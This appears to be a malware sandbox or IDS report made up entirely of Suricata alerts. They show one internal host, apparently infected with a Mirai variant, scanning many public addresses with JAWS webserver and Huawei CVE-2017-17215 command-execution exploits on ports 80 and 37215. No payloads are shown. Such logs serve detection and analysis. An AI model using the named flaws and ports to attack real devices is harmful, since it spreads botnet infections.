Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:56602 -> 126.182.35.205:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:41752 -> 180.247.222.119:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:56602 -> 126.182.35.205:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:39428 -> 183.119.84.214:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:60086 -> 40.54.178.141:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:40192 -> 25.68.126.50:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:39428 -> 183.119.84.214:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:45620 -> 42.210.68.207:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:41752 -> 180.247.222.119:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:45620 -> 42.210.68.207:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:60086 -> 40.54.178.141:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:55504 -> 156.195.158.216:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:58574 -> 204.137.209.75:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:58574 -> 204.137.209.75:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:40888 -> 197.51.196.232:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:53464 -> 35.94.114.161:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:59440 -> 54.197.207.13:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:59440 -> 54.197.207.13:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:34012 -> 40.144.172.4:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:34012 -> 40.144.172.4:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:40176 -> 144.229.87.242:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:40176 -> 144.229.87.242:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:40192 -> 25.68.126.50:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:53464 -> 35.94.114.161:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:49716 -> 156.231.34.243:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:46724 -> 206.199.245.36:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:46724 -> 206.199.245.36:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:36514 -> 93.55.208.184:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:36514 -> 93.55.208.184:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:33982 -> 41.247.70.4:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:34564 -> 41.160.92.139:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:38700 -> 197.211.217.174:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:35342 -> 197.165.49.31:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:55982 -> 197.229.162.82:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:43636 -> 197.225.24.55:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:38374 -> 166.170.65.204:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:33914 -> 130.194.192.131:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:38374 -> 166.170.65.204:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:33914 -> 130.194.192.131:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:33266 -> 191.252.64.221:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:46742 -> 187.194.10.196:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:33266 -> 191.252.64.221:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:46742 -> 187.194.10.196:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:42240 -> 90.177.70.10:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:50898 -> 13.138.57.214:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:56554 -> 145.56.156.195:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:50488 -> 200.200.243.56:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:43992 -> 23.137.87.167:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:42240 -> 90.177.70.10:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:50898 -> 13.138.57.214:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:56554 -> 145.56.156.195:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:55376 -> 151.3.92.187:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:50488 -> 200.200.243.56:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:55376 -> 151.3.92.187:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:43992 -> 23.137.87.167:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:33218 -> 27.157.203.196:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:33218 -> 27.157.203.196:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:50216 -> 180.142.123.27:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:50216 -> 180.142.123.27:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:54372 -> 58.27.47.222:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:54372 -> 58.27.47.222:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:47328 -> 117.127.29.44:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:47328 -> 117.127.29.44:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:48144 -> 156.60.233.0:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:44992 -> 41.7.140.151:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:60952 -> 156.136.36.32:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:51524 -> 186.177.39.200:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:51524 -> 186.177.39.200:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:47236 -> 194.139.104.203:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:47236 -> 194.139.104.203:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:58230 -> 219.172.14.29:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:58230 -> 219.172.14.29:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:48066 -> 17.196.195.95:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:48066 -> 17.196.195.95:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:44120 -> 179.210.59.211:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:49030 -> 166.123.231.179:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:44120 -> 179.210.59.211:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:49030 -> 166.123.231.179:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:47862 -> 126.24.223.98:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:47862 -> 126.24.223.98:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:44422 -> 9.135.213.16:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:56248 -> 220.183.243.172:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:44422 -> 9.135.213.16:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:38874 -> 193.2.130.245:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:36422 -> 50.52.226.195:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:38874 -> 193.2.130.245:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:36422 -> 50.52.226.195:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:47718 -> 41.39.69.139:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:43838 -> 220.194.72.146:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:47718 -> 41.39.69.139:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:43838 -> 220.194.72.146:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:48854 -> 76.137.1.180:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:56918 -> 199.63.47.209:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:48854 -> 76.137.1.180:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:56918 -> 199.63.47.209:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:43196 -> 74.202.42.9:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:41162 -> 54.251.33.18:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:43196 -> 74.202.42.9:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:37124 -> 31.174.97.135:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:41162 -> 54.251.33.18:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:38348 -> 2.113.145.26:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:56248 -> 220.183.243.172:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:58222 -> 60.220.250.249:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:38348 -> 2.113.145.26:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:36596 -> 83.133.89.182:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:58222 -> 60.220.250.249:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:36596 -> 83.133.89.182:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:45780 -> 126.176.228.197:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:38382 -> 57.0.217.84:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:41704 -> 83.238.144.61:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:38382 -> 57.0.217.84:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:60696 -> 25.119.53.5:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:39280 -> 84.153.123.235:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:45780 -> 126.176.228.197:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:49952 -> 160.19.223.25:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:49952 -> 160.19.223.25:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:49432 -> 70.252.93.59:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:35476 -> 171.186.242.22:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:37124 -> 31.174.97.135:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:35476 -> 171.186.242.22:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:49432 -> 141.20.42.238:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:50544 -> 113.9.76.55:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:39280 -> 84.153.123.235:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:49432 -> 141.20.42.238:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:50544 -> 113.9.76.55:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:41704 -> 83.238.144.61:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:49432 -> 70.252.93.59:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:45518 -> 139.241.185.96:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:43794 -> 23.15.127.183:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:60696 -> 25.119.53.5:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:46168 -> 66.85.21.139:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:48318 -> 86.35.202.69:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:49544 -> 39.92.130.206:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:46168 -> 66.85.21.139:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:35974 -> 128.120.255.4:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:35974 -> 128.120.255.4:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:49544 -> 39.92.130.206:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:53316 -> 187.217.155.175:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:56418 -> 90.198.87.168:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:56418 -> 90.198.87.168:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:35610 -> 97.197.78.241:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:53316 -> 187.217.155.175:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:38648 -> 137.251.33.154:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:38648 -> 137.251.33.154:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:45518 -> 139.241.185.96:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:54582 -> 211.243.248.192:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:35610 -> 97.197.78.241:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:43794 -> 23.15.127.183:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:52556 -> 174.26.69.187:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:54582 -> 211.243.248.192:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:37846 -> 63.54.131.20:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:37846 -> 63.54.131.20:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:48318 -> 86.35.202.69:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:54386 -> 8.144.12.88:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:54386 -> 8.144.12.88:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:42838 -> 161.104.195.78:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:42838 -> 161.104.195.78:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:33386 -> 9.120.59.100:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:33386 -> 9.120.59.100:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:52556 -> 174.26.69.187:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:37570 -> 158.116.133.144:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:57624 -> 190.1.187.23:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:37570 -> 158.116.133.144:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:57624 -> 190.1.187.23:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:34360 -> 156.146.215.98:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:35178 -> 179.192.200.231:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:35178 -> 179.192.200.231:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:39126 -> 41.190.19.200:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:38216 -> 74.93.106.203:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:34312 -> 41.253.49.66:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:58746 -> 70.27.202.249:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:38216 -> 74.93.106.203:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:58746 -> 70.27.202.249:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:41832 -> 156.158.79.191:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:52356 -> 113.60.71.8:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.15:52356 -> 113.60.71.8:80
